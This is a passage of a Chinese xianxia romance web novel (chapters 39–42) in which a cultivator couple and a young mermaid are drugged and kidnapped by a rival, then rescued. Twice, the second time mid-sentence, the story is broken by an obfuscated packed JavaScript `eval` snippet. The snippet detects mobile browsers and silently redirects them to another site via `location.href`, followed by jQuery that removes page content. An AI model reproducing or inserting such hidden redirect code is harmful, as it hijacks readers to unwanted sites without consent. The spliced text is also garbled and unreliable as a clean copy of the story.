她有一瞬间的不好意思，但是，她转念一想，他俩刚见面的时候，她就对谢思量说过喜欢他了，那么她面对谢思量心跳加速也是正常的，她不能自己先心虚，那就显得欲盖弥彰了。 这么想着，她又将身子转了过来，大美人在身边为什么不看？谢思量一个无情道的都不担心，她心虚什么，不看白不看。 刚转过头，她果然又对上了那张漂亮的侧脸，谢思量的鼻梁很高，睫毛很长，眨眼的时候似蝴蝶的蝶翼纷飞。 空气中两种不同的冷香交织、萦绕在一起，为室内添了一丝旖旎。 姜揽月就这样看着他。蓦地，寂静的夜里响起了一道声音。 “姜揽月，你还喜欢我吗？” 39. 人间（一） 皎洁的月光从窗中倾泄，烛火橘黄，室内半明半暗，淡淡的冷香萦绕在一起，无故中多了一丝暧昧。 在谢思量问出那个问题后，姜揽月真的很惊讶，难道是自己的心跳声被他听见了？ 还喜欢谢思量吗？ 为什么要问这个问题？ 是什么时候喜欢上的？ 当初用鲛珠救下谢思量，只是因为系统吗？若是没有系统，她会救谢思量吗？ 那么，为什么会救呢？是从什么时候开始的？是因为是当年青云盛会的惊鸿一瞥吗？或是因为在太虚海见到了他这张惊艳绝伦的脸？还是因为真的想要摇光夫人这个身份？抑或是三个原因都有？ 她不知道。 当时的那句“我喜欢仙君，我想与仙君成亲”，有多少真情，又有多少假意？ 到底是从什么时候开始的？她早已记不清了。 见姜揽月久久不说话，谢思量竟转过了身，面对着她。 姜揽月心下一惊，二人四目相对。 尽管知道谢思量已经眼盲，尽管不知道打量了多少次谢思量的脸，但是当他这样转过身，当他的眼睛直直对着她时，姜揽月还是感觉自己的心颤了一下。 橘黄色的烛火在他的眼中跳动，让这双眼睛好像有了神韵，姜揽月有一瞬间的愣神。 “为什么要这样问？”她注视着谢思量的双眼。 这下轮到谢思量不说话了。 他为什么要问这个问题？ 他在意吗？ “你为何不像当时那般回答我？”谢思量反问。 半明半暗中，他慢慢勾住了姜揽月的一根发丝，拇指轻轻揉着她的脸。 他的嗓音很轻柔：“在太虚海的时候，你说要永远陪着我。” 谢思量的手是凉的，无论二人之前已经触碰过多少次了，姜揽月每次的第一感受还是这个。 她没有躲避，任凭谢思量抚摸着自己的脸，然后将自己的手也搭到了谢思量的手之上，二人指尖相触。 谢思量今晚怎么了？怎么一直问奇怪的问题？他还是无情道的吗？ “嗯，我还记得，”姜揽月的声音很轻，却清晰可闻，系统已经不见了，她估计也回不到原来的世界，“我会一直在你身边。” 听到身边女子肯定的回答后，谢思量的手还是没有放开，于是姜揽月也没有放开，就这样一直看着谢思量。晦暗间，他的脸一半在烛火下，一半笼罩在黑暗中，让人看不清表情。 不知过了多久，感受到他的手终于松开了，姜揽月松了一口气，这才放开了自己的手。 谢思量盯着姜揽月黑白分明的眼睛，她漂亮的桃花眼天生含情，像是江南烟雨，而如今那双漆黑的瞳孔里只有他。 本就应该如此，姜揽月的眼中应该只有他，不应该有其他人。姜揽月曾经说过她心悦他，可如今却没有直接说出。喜欢，是一个人全身心对另一人，二人之间不应该再有其他人。 姜揽月看着他琉璃般的眸子一动不动，最后，他又伸出手，将姜揽月额前的刘海拨至耳后。 他的声音和飘雪一样落下：“睡吧，时候不早了。” “嗯，晚安。”姜揽月阖上了双眼烟。 夜晚重归于静，雪落下的声音清晰可闻，仿佛刚刚发生的一切都只是幻觉。 但二人却又都心知肚明，刚刚的事情实实在在发生过。 谢思量为什么要说这些？他不是无情道的吗？无情道不应该也不会有情感，他到底为什么要问这些？ 少女双眼微闭，神态乖巧，不过谢思量却知道，姜揽月没有睡着。 * 云雪峰，白雪飘飘，梨花纷纷，像是一副清丽的画卷。 大厅中的水盆中养了几朵粉白色的荷花，但是一旁的女子却与这静谧的画面截然不同。 她身穿红衣，手执利剑，面容美虽美矣，却没有一点笑意。 当剑尖破开他的衣裳，进入他的胸膛之时，谢思量感受不到□□的疼痛。 “我和你成亲，只是为了利用你。” “我喜欢的根本不是你。” “从此以后，我们便再无瓜葛。” 女子语气冷淡，像是寒冬的冰。 黑夜中，谢思量蓦地睁开眼，迎面却是与梦中女子一模一样的面容。 是梦魇。 他竟然真的睡着了。 谢思量凝望着姜揽月，指尖不受控制地又抚摸上了她的脸。 从额头，到眼睛，到鼻尖，再到嘴唇。 姜揽月，你为何和那梦中的女子生得一样？你是她吗？ 若是之前，姜揽月定会说喜欢他的，但是这次，她却没有直接说。 你留在我身边只是想当摇光夫人吗？ 谢思量将手指扣在她的唇上，随后在自己的指尖上留下了轻轻一吻。 若是这样的话，那就当一辈子摇光夫人吧。 * 翌日，待姜揽月醒来时，已经日上三竿了。因昨晚入睡的比较晚，所以早上醒的也比较晚。 她睁开眼就是谢思量的美颜暴击。 冬日浅浅的日光洒在他的脸上，他的睫毛变成了浅金色，玉白的皮肤，挺拔秀气的鼻尖，再加上胭脂色的唇，简直是一副美人画卷。 再然后，那双眼睛睁开了，琉璃色的瞳孔中溢着浅浅的光辉。 虽然知道谢思量现在眼盲，但她还是结结实实被吓了一跳，像是偷看被抓包。 姜揽月一秒正经，她直起身：“雪居然停了，外面出太阳了。你昨晚休息的如何？” “还行。”谢思量也慢慢直起身。 “可能最近有些累了，你也需要休息。” “嗯。” “那我先去洗漱了。” “好。” 姜揽月立马跑下了床，洗漱之后，她便来到了师萝樱的房间。 与她不同，师萝樱就早早醒了，正在趴在窗户上窗外的雪景。一位小童正捏起一个雪球，猛地砸向另一个小童，另一个小童也不甘示弱，飞快地捏起雪球扔回去，最后二人双双跪在雪地之中。 师萝樱的眼中流出羡慕的目光，她也好想和朋友这么玩啊。 “咚咚。” 蓦地，一道敲门声忽然响起。 师萝樱警觉起来。 “萝樱，是我。” 门口传来了姜揽月的声音，原来是姐姐，师萝樱连忙打开门，语气轻快：“姐姐，快进来！” “萝樱，昨晚休息的如何？睡的好吗？”姜揽月将木门关上。 “还不错。”师萝樱道，一晚过后，她很明显活泼了一些，精神状态也好了不少。 姜揽月揉了揉她的脸，师萝樱生得白白嫩嫩，脸颊肉揉着特别舒服。 “你以后准备怎么办？愿意和姐姐一起回昆仑吗？”姜揽月现在过来便是想和师萝樱商量这件事情，她将选择权交给了师萝樱，“或者回到你原来的地方？” “我听说过昆仑宗。”师萝樱道，昆仑宗在修仙界非常有名，是一大仙门，许多有名的修士都来自昆仑宗，谢思量便是如今名气最大的一位。 “哦？那你有没有听说过摇光仙君？”姜揽月笑道，谢思量常年降妖除魔，在妖界应该也很出名。 师萝樱很聪明，立马明白了：“摇光仙君是……姐夫？” 姜揽月点点头：“不过你不用害怕，他不会伤害你的。” 她接着说道：“你若是和我们一起回昆仑，便可以和我们一起修仙，你想修仙吗？” “修仙？” “对，就是像人类那样修仙，待你修得之后，你便可以保护自己，也可以赚灵石了。对了，”姜揽月伸出手，摸上师萝樱的额头，“我来看看你现在是什么修为，妖族较一般人族修仙天赋更高。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第三日，三人歇脚在一个镇子上。像寻常一样，三人首先去了一家食肆。 若是只有谢思量一人，两日便可从中州回到昆仑，但是如今多了两个鲛人，几乎每到一个地方就得大吃一顿，谢思量便也随了她俩。 茶馆中，姜揽月看着菜单：“这里的特色是蟹粉狮子头，点一份试试。” 她和师萝樱两人一起在菜单上勾勾画画，师萝樱如今也没了初次见面的胆怯，反而和姜揽月处的很好。姜揽月几乎之前每次出门都和谢思量一起，谢思量不爱吃饭，只有她一个人吃，现今多了个师萝樱，两人经常一起交流美食心得，一进食肆便开始叽叽喳喳。 当看到菜单上密密麻麻的勾画后，负责接待的小二着实有些惊讶，这桌上坐着一位鹤骨松姿的公子和两位看起来瘦弱的小姐，怎么会点这么多菜？不过多年的职业素养告诉他不要多嘴，待他上完最后一道菜后，道：“三位客官，菜全都上齐了。” “好嘞，多谢。”姜揽月道，“终于可以开动了！” 谢思量向来是不怎么吃东西的，但是如今再身边两位每日都要吃，且每次都能吃的风卷残云的带动下，也开始慢慢吃了。 他手上端着一碗饭。姜揽月见他竟然开始吃米饭了，内心震惊，于是当即为他夹了些菜。 “谢思量，这是水煮牛肉，特别好吃。” “嗯。”谢思量夹了一块牛肉。 他吃相优雅，吃东西时慢条斯理。与姜揽月和师萝樱二人风卷残云般的速度仿佛不在一个世界，但是二人也毫不在意。这样每天的赶路，就是要吃多点。 师萝樱悄悄抬眼，谢思量向来一脸洁癖的样子，却一点也不反感姜揽月为她夹菜，这些天里她也习惯了，毕竟是道侣。虽然她目前还不修仙，但是却已经知道“道侣”的意思了，道侣之间是可以做这些事情的，就像她的爸爸妈妈一样。 而且，仙君应该是很喜欢姐姐的，因为那双宛如冰冻的瞳孔只有面对姜揽月的时候才会融化。 40. 人间（二） 饭桌上，热气氤氲。 姜揽月替三人分别舀了一碗红枣姜汤：“喝些汤吧，可以驱寒，冬天喝最适合了。” “多谢。”谢思量拿着勺子，慢慢地喝碗里的汤。 “谢谢姐姐。” 食肆中，到了饭点，来的人渐渐多了起来，也逐渐开始喧闹起来。 “嘿，王大娘，今日又来了啊。”一道男声传来。 “对。”一位女声道，嗓音尖细，“听说那山上的妖怪又吃人了！隔壁张大爷家的儿子不见了！” “是那妖怪做的？” “已经好些天了，应该就是妖怪做的。”王大娘叹了一口气，“本来我们就让他不要走那条山路，绕远路就好了，可他偏偏不听，偏偏要走那条路，偏说没有妖怪，是我们自己吓自己。这下好了，人也没了，可怜那老夫老妻只有这么一个儿子。” 小二听着直摇头：“唉，这我们怎么办啊？” “马上再挣些钱我就走了，再不走若是被妖怪吃了怎么办？”另一人忧心忡忡道，“天天这样绕远路，谁受得了啊？” “已经都是第五个了，谁也不知道下一次意外在什么时候发生。” “……” 姜揽月拿着竹箸的动作顿了顿，她对谢思量小声道：“我们等会找这里的老板了解一下情况？” 谢思量点点头。 自从去年初春，人间便有大量妖魔作乱。如今听闻他们谈论这些，姜揽月和谢思量并不惊讶。 修仙之人的任务便是护天下万民，除天下万魔。这次是因为他们无意中来这里歇脚所以才知道，不然这件事情不知还要多久才能传到附近的宗门，或者根本无人在意，最后不了了之。 结账时，姜揽月便问老板道：“刚刚我们听闻这里有妖怪？” 老板见三人生得仙风道骨，玉骨仙姿，猜测可能是山上的修士，于是便向几人细细讲了情况。 “那妖是去年来的，这里通往外界其他城池需要过一座山，那妖在山上为非作歹，经常捉了一些经过山上的人。所以，我们都不敢上那座山了，只能饶远路……但如今那妖越发猖獗，有的时候甚至晚上进入镇子……这里居住的都是普通凡人，没有人懂法术，只能任由那妖为非作歹……” 一位老婆婆在一旁听到几个人的对话，颤颤巍巍地走过来，声音颤抖：“几位是仙人吗？我儿子去年就是在那儿失踪的！” 她泣不成声：“我就那么一个儿子，你们可一定要为我儿子做主啊，现在家里只剩下我和媳妇孙子三人相依为命。我可怜的儿啊！你怎么就这么命苦呢！还没好好见到孙儿一面就没了！我的儿啊……” 一旁有人拿出手帕，安慰道：“李家奶奶别哭了，伟子在天上也不想看到你哭。” “我的儿啊……”老婆婆泪流成河。 “婆婆，你放心，我们一定会将这妖除掉的。”姜揽月安慰道。 三人从食肆离开后，姜揽月道：“走吧，先找家客栈？” “嗯。”谢思量道。 这个镇子不大，甚至都没几家客栈，几人便随意进了一家。和往常一样，师萝樱一间，姜揽月和谢思量一间。 放包裹的时候，姜揽月思索了片刻，自己若是和师萝樱过去，多半是拖后腿，于是道：“谢思量，我和萝樱就不去了。你……一个人去可以吗？” 谢思量原本就打算一个人过去，听姜揽月这样说，他忽然转过身，只见少女睁着黑白分明的眼睛仰视着他。 “嗯。”他觉得有些好笑，“你来之前，向来都是我一人。” 姜揽月“哦”了一声，确实，谢思量几乎每次都是一人去除妖，也就只有上次台州的时候她跟着去了一次。 “其实我是担心拖你后腿啊。”姜揽月解释道，她望着谢思量的双眼，“如果是这样的话，那也太不好了，而且这几日我要陪萝樱。” 谢思量看着姜揽月毛茸茸的头顶，他伸出修长的手指，却顿在了半空中。在他和师萝樱中，选择了师萝樱吗？ 青年眼睫微垂。 片刻后，他道：“无事，危险的地方你不用去，在这里等我便好。” 姜揽月忽然想开个玩笑：“那要是在你除妖的时候我在这里遇到了危险怎么办？” “和对方打。” “打不过呢？” “那就跑。”谢思量笑道。 “往我这里跑，”他抚了抚姜揽月的刘海，“我很快便会回来的。” “嗯。”姜揽月应道，“等你回来，你就是除妖的英雄。” “英雄？”谢思量忍不住笑了，姜揽月真是有趣，总是能说出一些令他惊讶的话来。不过，他现在还能算是“英雄”吗？ “谢思量。”姜揽月又喊道。 “嗯？” “你笑起来真好看，你要多笑笑。”她认真道。谢思量不笑的时候看着高冷，笑的时候眼中好像落下了桂花。 “是吗？”谢思量反问。 “嗯。”姜揽月肯定道，不过这话说着她好像一个贪图美色的登徒子，但她也不是第一次这么说了，谢思量应该也习惯了。 二人距离很近，有那么一瞬间她好像看到了谢思量的目光。不过她没有多想，谢思量的眼睛一直是这样，根本看不出眼盲的痕迹。 “你回来后若是我不在话，就去萝樱的房间找我。” “嗯。”谢思量道。 待谢思量走后，她便去了师萝樱的房间。 “咚咚咚。” 师萝樱打开门，有些惊讶：“姐姐？” “谢思量去这里的山上除妖了。”姜揽月向师萝樱解释道。 “姐夫一个人去可以吗？”这段时间二人早已熟稔，姜揽月进来后，师萝樱给二人都倒了一杯茶。 “当然可以。”姜揽月肯定道，“他已经是化神阶段了，昆仑一直流传着他的不败神话，处理这些妖怪还不是手到擒来。” 说到这里，她忽然顿了一下，谢思量的修为如此之高，为什么他当时在太虚海那里受伤的那么严重？就算那只蛟龙修为高，但也不至于会把谢思量伤成那样吧？她心下一凛，不知那妖当时是什么情况，若是没死，以后可能还会再起祸端。 “那就好。”师萝樱喝了一口茶。 “这位仙君，嗯，哥哥？”她还是不大 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以往的客栈也经常会提供些吃食，所以姜揽月并没有觉得惊讶，她接过他手中的盘子，感谢道：“多谢。” “不客气，二位客官请享用。”小二道。 “萝樱，是客栈给我们的绿豆糕，来吃点吧。”姜揽月关上门，将盘子放到了桌上。 姜揽月知道，师萝樱是鲛人，吃的比她只多不少。 “你不用矜持，也不用不好意思，想吃就吃，我们养得起的。” 师萝樱注意到姜揽月的用词是“我们”，而不是“我”，她道：“多谢姐姐和仙君，我以后一定会好好赚灵石报答你们的。” “哈哈哈哈哈，我们救你并不是想要你的报答。” 师萝樱点点头：“好。” 她拿起一块绿豆糕，片刻后，她又开口：“对了，姐姐，姐夫他修的是什么道？” “无情道。”姜揽月道，她不知道师萝樱为什么要问这个问题。 “那姐姐呢？” “我是鲛人，修的自然是妖道啊。” 师萝樱道：“那我也要走妖道吗？” “这也不一定，”姜揽月和了一口茶道，“妖也可以走其他道，剑道，刀道，乐道，苍生道，无情道，杀戮道之类的，不过最适合我们的是妖道，到时候你可以自己选，不局限于妖道的。” “我是音修，学的是琵琶，谢思量是剑修，用的是剑。鲛人生来擅音律，修音修会很有天赋，不过这也不是绝对的，主要还是看你自身的天赋和喜好。”姜揽月解释道。 师萝樱似懂非懂地点了点头。 “你现在觉得抽象也没关系，到时候你去昆仑逛一逛便明白了。”姜揽月道，“你可以多见见其他修士，都是修什么、如何修的，然后再决定自己的道。” “好。”师萝樱道，“姐姐，你有没有觉得这个绿豆糕……” 话音未落，便见她忽然晕倒在了桌子上。 “萝樱，萝樱！”姜揽月皱眉喊道，“你怎么了？” 但是不过须臾之间，她自己便也感到一阵眩晕。迷糊之间，她看到有人向自己走来。 41. 人间（三） 月光从缝隙中洒入，空气中是一股潮湿带着灰尘的气息，混合着霜雪草木的味道。 姜揽月的眼皮动了动，映入眼中的是微弱的光芒。半刻钟后，她终于完全清醒了，她想伸手揉一揉眼睛，却发现自己的胳膊根本抬不了。她连忙低头，发现自己竟被人用绳子绑了起来。 待眼睛适应黑暗后，她谨慎地打量着四周，只有她一人，师萝樱不在。这里非常破旧，墙角蛛网垂垂，中心处有一个神龛，金漆剥落殆尽，一只眼睛空洞洞的，想必是什么鸟儿啄了去，另一只眼睛尚却还半睁着，目光望向深处。 这里是一座废弃的庙宇。 姜揽月沉思，这次应该是冲着师萝樱来的，距离拍卖会结束才几天，很可能就是根据拍卖会追踪过来的。但是为什么要绑她？姜揽月心下一惊，难道说他们也发现了她是鲛人，所以才将两个人一起绑来？ 她口中念诀，发现根本无法扯断这根绳子，看来应该是捆仙索之类的法器。她又试着唤出太华的蝴蝶，若是唤出来的话便可以找谢思量了。 但是，她发现她甚至唤不出蝴蝶，看来绑她的人做了万全准备。姜揽月垂下眼睫，眼下最重要的事情就是保持镇静。她从来没有在外表露过自己是鲛人的痕迹，只去当铺当过几次自己的珍珠，但光靠那些珍珠根本无法得出她是鲛人的结论，所以绑她的人应该不知道她是鲛人，目标只是师萝樱，而她就是为了绑师萝樱而顺带绑过来的人。 想清楚之后，姜揽月便不再像最先那般慌乱了。 不知过了多久，门忽然被粗暴地打开了，脆弱的木门发出了嘎吱嘎吱的响声。月光从门口倾泻，原本晦暗的庙里忽然亮了许多。 一名穿着黑衣的青年走了进来，袖口和领口的金丝彰显出他的财力和地位。来人鹤发童颜，满头白发像是霜雪，却又身材魁梧，二者结合在一起实在是有些奇怪，有种说不出的不和谐感。 “原来三号贵宾就是你这个女修，你的修为我看最高不过金丹，区区一个金丹竟然敢在我手上抢鲛人，到底是谁给你的胆量？”他笑着说道。 姜揽月立马反应过来：“你是那位轩辕宫的御山道人吗？” “正是在下。”青年道。 “你一路跟踪我们到这里？”姜揽月有些怀疑，那谢思量去除妖难道是这家伙做的？他故意把谢思量支开，然后又用绿豆糕将她和师萝樱迷晕？ “当然不是我跟踪，”御山真人道，“我只不过来这里歇脚，却恰好碰到了你们。真是有缘，是我的东西注定是我的东西，就算小鲛人被你买了去，缘分却又让我在这家客栈中碰到了你们。” 原来只是巧合，姜揽月松了一口气。 “御山道长，既然你的修为已至化神，而我的修为仅仅至金丹，为何你还要在这个房间内施加了法力禁制？”姜揽月道，“这未免也太瞧得起我了吧？区区金丹何以和化神期大能相提并论？” “小姑娘还挺油嘴滑舌的啊。”御山真人道，“不过你倒是聪明，知道我施加了什么法术，只可惜，你若是在拍卖会那日也这么聪明的话，便不会有如此下场了。既然知道自己只是区区金丹，哪来的勇气从我的手里抢走那可爱的小鲛人呢？” “你的目标是鲛人，为何也要将我一起抓来？”姜揽月又反问。 道人忽然一笑：“我最近在试行一个阵法，需要人来活祭，就你吧。细皮嫩肉的，他一定喜欢。” “他是谁？” “不该问的别问。” 说完这些话后，御山真人就走了。 “看好她，别让这里面的人跑了。”姜揽月这才发现门口居然还有一个侍卫。那个侍卫好像就是来给她送绿豆糕的人，果然这几人是一伙的。唉，她当时一时疏忽，竟真把这人当成了小二。 不过，这人的修为明显没有御山真人那么高，没有到化神，应该和她的修为差不多。 她嘴角轻勾，虽然把她灵力禁了，但她还有一个不需要灵力的“武器”。随后，少女轻轻哼起歌，歌声从庙内传到了木门外。 他们这么想要鲛人，难道不知道鲛人的声音可以迷惑人心智？也不对，毕竟他们不知道她是鲛人。 姜揽月开始唱歌，唱的便是鲛人最擅长的，在大海中可以令船队产生幻觉的迷魂曲。不过这个曲子的效果根据歌唱人和倾听人的修为而不同，简而言之，便是歌唱人的修为越高，那么迷魂曲的威力便越大，而倾听人的修为越高，那么迷魂曲对这个人的影响就越小。 所以，她的歌声对金丹修为以上的人不大行，但是对金丹修为以下的人绰绰有余。 “唱什么歌啊？吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245390|160442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了！？”门口的侍卫暴躁道，他狠狠瞪了姜揽月一眼。外面又开始下起了雪，临近深夜，气温越来越低，侍卫随后也进了庙内。 姜揽月想，这轩辕宫里的人的脾气实在说不上好。 “大哥，我已经被你们抓住了。你就可怜可怜我吧，让我唱首歌吧，这是我娘亲曾经给我唱的歌，我每当想念娘亲亲的时候便会唱这首歌，我的娘亲在我很小的时候就去世了，我真的很想我的娘亲，你就让我唱一会儿吧，我保证就唱一会儿……” “行吧行吧，随便你吧，唱几首就别唱了！”穿着黑衣的侍卫打断了她的话。该说不说，这女修唱歌还挺好听的。 于是，姜揽月便继续唱着迷魂曲，这辈子还是第一次唱这首歌，不知道有没有效果。不过不管结果如何，她都得试一试，先拖延一下时间。 少女的歌喉时而像风吹过破败的庙宇，时而像幼童梦魇时的低语。她轻轻摇动自己的手腕，叮叮当当，伴随着她的歌声，像是某种祭礼。 两刻钟后，门口的侍卫昏昏欲睡。 姜揽月停下唱歌，道：“大哥，大哥？” “大哥，我好渴，能给我一碗水吗？” “水。”那侍卫直起身，竟真的向门口走去。若是仔细看的话，便可以看到他眼中的空洞与麻木。 姜揽月松了一口气，看来自己的迷魂曲还是有点作用的。 她又道：“我不想喝水了，你不用给我倒水，过来帮我把我的绳子解开。” “绳子解开。”侍卫重复道。 他从门口折回来，动作机械，不过还是听话地将姜揽月身上的捆仙索解开了，姜揽月感到浑身都放松了。 御山真人无疑是一个行事谨慎的人，仅仅是对付姜揽月，便用上了捆仙索和法力禁制。只不过，千算万算，没有算到她也是个鲛人。呵呵了，姜揽月在内心冷笑。 因为不知道这个侍卫的具体情况，她也不知道自己的迷魂曲能保持多久，所以要速战速决。 她将捆仙索收起，然后对侍卫道：“你已经睡着了。由于这段时间的劳累奔波，你实在太累了，太想休息了，所以你睡着了。” “嗯，我睡着了。”侍卫重复道。 面前的侍卫刚刚闭上眼，姜揽月便听到了一声清越的剑鸣，是观雪的声音！ 42. 人间（四） 谢思量将山上的妖魔除掉后，便直接回了客栈。 他轻轻推开木门，姜揽月不在。 “咚咚咚。”他敲响了师萝樱的门。 无人应答。 “咚咚咚。”他又敲了一次，竟然还是没有人开门。 谢思量眉头微蹙，直接将门推开。不想，房间内却空空如也。 他眨了眨眼。 只见桌上有一个白瓷盘子，盘内有几块剩下的绿豆糕。他走上前，拿起了桌上的绿豆糕，细细端详。 这个镇子不大，他刚刚在除妖的时候便已经发现了，所以想要搜寻人并不难，只要姜揽月还在这个镇子中。 巨大的灵阵自他脚下散开，很快便蔓延至整个镇子，这个灵阵可以让他在这个区域内找到所有人。 黑夜中，地面上忽有白光一闪，奇异的咒文闪现，而后又瞬间熄灭。一些看到的人揉了揉双眼，怀疑自己刚刚是不是看错了。 * 罡风呼啸，落雪飘飘。原本月色正好的天气又下起了雪，而且越来越大。 破庙内，师萝樱和姜揽月一样，也被捆仙索捆起来了，动弹不得。御山真人看着她，脸上带着笑：“听说鲛泪可以化为珍珠，不过，我的小美人，我可不想让你哭。” “呸！”师萝樱喝道，面前的男人一直用一种狂热又痴迷的眼神上下打量她，让她感觉很不舒服。 “你灵石足够吗？！你买的起我吗？！”师萝樱大喊道，“我价值两千万！” “你还想和那个女修一起走？”御山真人道，“能一次性出得起两千万的修士，在修真界屈指可数，可是，那个女修我却不认识，也不知道她的钱是从哪里来的？” 师萝樱瞳孔皱缩，从这句话中抓住关键信息：“什么？！你把姐姐也抓来了？！” “姐姐？怎么叫的这么亲热？”御山真人轻轻用手刮了刮师萝樱的脸，“不过区区几天，你和那个女人关系就这么好了？！” “别碰我！”师萝樱忍着恶心道。 “小美人脾气原来这么火爆。” 御山真人垂眸，手上忽地又出现了一把细长的剑，月光下，锋利的剑刃泛出了银色的光芒。 师萝樱眉心一跳，心中有了不好的预感：“你要做什么？” “小美人，哭给我看，我想见识一下鲛人是怎么落泪成珍珠的？” “你刚刚不是还说不忍心让我哭吗？”她的声音中有一丝不易察觉的颤抖。 “那怎么办呢？我现在又想看了，我改变想法了。”御山真人笑道，“哭给我看吧，让我看看你的珍珠是什么样子的？” “我可以哭给你看，但是你能不能把姐姐给放了？”师萝樱祈求道，她的声音中真的带了一丝哭腔。 “什么？你居然为了那个女人求情？”御山真人好像有些疑惑，“那个女人给你吃了什么迷魂药，这不过才几天，你就这么喜欢她了？我的小美人，你可不可以也这么喜欢我？” 师萝樱不敢看那剑，即使是看到她便能感受到疼了，剑尖距离她不过咫尺。 “啊……”她颤抖地闭上双眼。 就在刀尖快要碰到师萝樱的时候，庙内忽然传来一股凌厉的剑气，如北风卷地，刮扫了整片区域。 御山真人的动作顿了顿，这剑气的主人的的修为不比他低，这里怎么会出现化神期修士？他双眼微咪，他什么时候得罪了化神期修士？ 他刚来这里的时候什么灵力都感受不到，说明这个人将自己的灵力隐藏起来了，而且他还发现不了，所以这个人的修为很可能在他之上，但是这修仙界有多少人的修为能在他之上？也就只剩下那几个“大人物”了。 “小美人，你找了什么救兵？” “我、我不知道。”师萝樱垂下眼睫，猜测可能是谢思量来了，她哭道，“我只认识姐姐，你不要伤害我的姐姐。只要你放开姐姐，我就可以和你走。” 一颗又一颗的珍珠从少女的脸颊滑落，可是御山真人已无心再看，难道是那个女人挣脱了他的捆仙索？ 不对啊，那女修就是个金丹水平，不可能有这么强的剑气。御山真人有些狐疑，这不是那个女人能做到的。难道说也是一个想要这个鲛人的修士？ 这个破败的庙宇是镇子上一座废弃的庙宇，是他无意中发现的，怎么会有人能发现这里？或者说是他多想了，这剑气只是那修士无意间发出的？ 御山真人忽地伸出手，将师萝樱推到角落中：“你就在这儿，哪儿也不准走。” 然后他便走出了门，“啪”的将门关上。 来到庙外，只见月光下一名穿着红衣的青年拖着把长剑，一步一步地向他走来，在大雪中留下一阵脚印。 来人一身红衣，手持长剑，形容鬼魅，踏着阶梯一步一步走过来，他的脸一般在月光与雪光下，似天上谪仙，一半笼罩在阴影中，如地狱修罗。落雪飘落在他的乌发上，徒增几分肃杀之气。 御山真人大惊，这是谁？！这个修士的修为绝对不比他低，他不动声色道：“这位仙君，是什么风把你吹来了？还是说，在下有什么地方得罪你了？” 谢思量缓缓抬眸，他的面上恍如冰霜：“你为何要带走我的夫人？” 这时，御山真人才终于看清他的脸：“摇光仙君！” 这张脸他绝对不会认错，四年前的青云盛会上，这张脸带给众人的是绝对的压迫。 可以说修仙之人无人不知谢思量，无人不晓摇光仙君。就连牙牙学语的小儿都知道昆仑宗有一位十五岁夺得青云魁首，十八岁便一剑破化身的少年天才，他入修仙界不过区区八年，却抵得上寻常人几十年甚至几百年的修为。不过相反，这也是为许许多多的人所嫉恨的。 御山真人走下几阶楼梯，他有些不解：“夫人？” 他一瞬间有些懵，不知道谢思量在说什么，他就绑了两个人啊，那小鲛人肯定不是谢思量的夫人，难道那位三号贵宾室的女人谢思量的夫人？ 御山真人一惊，他从未在修仙界听闻过那个女修，不过若她是谢思量的夫人，那么一切都可以解释的通了，所以她才有那么多灵石拍卖鲛人。 可是，谢思量不是无情道的吗？无情道哪来的夫人？ 御山真人恳切道：“仙君是说昨晚的三号贵宾吗？” 谢思量没有理他，只扬起手中的观雪，一道汹涌的剑气猛地冲向御山真人。 御山真人见他不说话，也举起了手中的剑：“既然仙君不领情，那在下也只能和仙君比试一场了。” 他入化神期已有五十年，而谢思量入化神期不过堪堪一年，就让他来看看这位传说中的天才的真正实力吧。 * 庙中，尽管没有亲眼见到，姜揽月还是能感受到谢思量磅礴的灵力，那凌厉的剑气正向这里破开。这是观雪的剑气，她不可能不熟悉。 原来谢思量发挥全力是这样的。 她将捆仙索收下，然后口中念诀，发现自己的灵力如今可以正常使用了，然后又唤出了太华，确保太华也可以正常使用。对方是化神期修为的大能，即使有谢思量在，她也不能掉以轻心。 姜揽月轻轻推开木门，果见谢思量和御山真人正在交战，一道又一道雪白的剑光闪烁，将周围黑漆漆的环境照亮。她这才看到外面的积雪已经很厚了，相比白日积了厚厚的一层，而且雪还越下越大，丝毫没有减弱的倾向。 不远处的谢思量手持观雪，面上看不出表情，道道剑气如月满群山，直直向御山真人袭去。 姜揽月不敢离得太近，只能远远看着。 两人打得有来有往，一时之间根本分不出胜负，姜揽月有些焦急，眼睛一点也不敢离开谢思量。 突然间，空中多出了一道黄色的符咒，姜揽月在白光一闪的瞬间看到了。刹那间，雷电闪烁，空中竟然汇集了好几道雷电，正正好好落在谢思量头顶。 姜揽月看着心中一揪，她手扶太华，一道乐音响起，空气中出现道道水箭，正好与那雷电相融。 感受到太华的能量，谢思量抬眸，他看到了黑夜中姜揽月一手抱着太华，一手抚弦，她乌黑的发丝和水蓝色的裙摆在风中飘扬，女孩的眼睛很亮，像是天上闪耀的星星。 谢思量不由得轻轻扬起了嘴角。 这时，御山真人也注意到了来人，他的面上滑过一丝震惊：“我明明用了捆仙索，你是如何逃出来的？！” 姜揽月踮起脚尖，更快的水箭从太华中传出，她冷笑道：“你自己好好想想吧。” 谢思量三步算两步直接来到了姜揽月身边：“受伤了吗？” 说罢，他便直接拉过了姜揽月的手，灵力强硬的进入她的身体，他在检查她的身体。 姜揽月道：“我没事的。” 她手握太华，道：“我可以用太华了，你不用担心我。” 谢思量在她耳边轻轻道：“进那庙中，我给你上一道结界。” “好。”姜揽月答应地很是干脆。 不过须臾，她便闪到了一边，将战场交给了谢思量。 一道剑光从御山真人那攻来，他觉得有些好笑：“夫人？这居然是你的夫人？哈哈哈哈你不是修无情道的吗？” 如果说他刚刚还有些不相信，现在则是完全相信了，谢思量看那女子的眼神，怎么也说不上清白。 “你一个无情道的怎么还有喜欢的人吗？你的无情道还在修吗？” 